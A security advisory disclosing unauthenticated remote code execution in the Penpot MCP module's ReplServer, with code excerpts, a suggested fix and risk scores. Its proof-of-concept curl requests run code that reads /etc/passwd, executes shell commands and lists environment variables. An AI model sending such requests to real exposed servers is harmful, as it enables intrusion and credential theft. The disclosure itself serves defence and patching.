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GHSA-22qr-rp27-j9wm

HighCVSS 8.8 / 10
Published May 19, 2026·Last modified May 19, 2026
Affected Components(0)

No affected components available

Description

Summary

The MCP module's ReplServer binds to all interfaces (0.0.0.0:4403) and exposes a /execute endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main PenpotMcpServer was partially fixed for a similar binding issue (#8683), but ReplServer.ts was missed.

Details

mcp/packages/server/src/ReplServer.ts:89:

this.server = this.app.listen(this.port, () => {
    // NO HOST ARGUMENT — Express defaults to 0.0.0.0

Compare with PenpotMcpServer.ts:301 which correctly binds to this.host (default "localhost"):

this.app.listen(this.port, this.host, async () => {

The /execute endpoint at ReplServer.ts:52-79:

this.app.post("/execute", async (req, res) => {
    const { code } = req.body;
    // No auth check. Executes code via PluginBridge.executePluginTask()
    const task = new ExecuteCodePluginTask({ code });
    const result = await this.pluginBridge.executePluginTask(task);

No auth middleware, no token check, no nothing. POST JSON with a code field and it runs.

This was partially flagged in #8683 (March 2026), which noted that PenpotMcpServer.ts was binding to 0.0.0.0. PR #8686 attempted a fix but was closed without merging, and it only touched PenpotMcpServer.ts and vite.config.tsReplServer.ts wasn't in the diff. On current develop, ReplServer.ts line 89 still calls listen(this.port) with no host argument.

PoC

I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.

$ node server.js
REPL server started on port 4403
Bound to: :::4403
All interfaces: YES

Unauthenticated code execution:

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"os\").hostname()"}'
{"success":true,"result":"kali"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}'
{"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}'
{"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}'
{"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"}

Binding verification:

$ ss -tlnp | grep 4403
LISTEN  0  511  *:4403  *:*  users:(("node",pid=696955,fd=21))

Listening on *:4403 — all interfaces.

Remote access from Docker container:

$ docker exec penpot-backend curl -s http://172.18.0.1:4403/
REPL Server - Penpot MCP (no auth)

Reachable from any container on the Docker network.

Impact

Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.

Suggested fix

Two lines:

  1. Add a host parameter to the listen call in ReplServer.ts:89:
this.server = this.app.listen(this.port, 'localhost', () => {
  1. Add authentication to the /execute endpoint. Even a shared secret from an environment variable would be better than nothing.
Risk Scores
Base Score
8.8

The vulnerability can be exploited over a local network, such as Wi-Fi. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
8.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.23%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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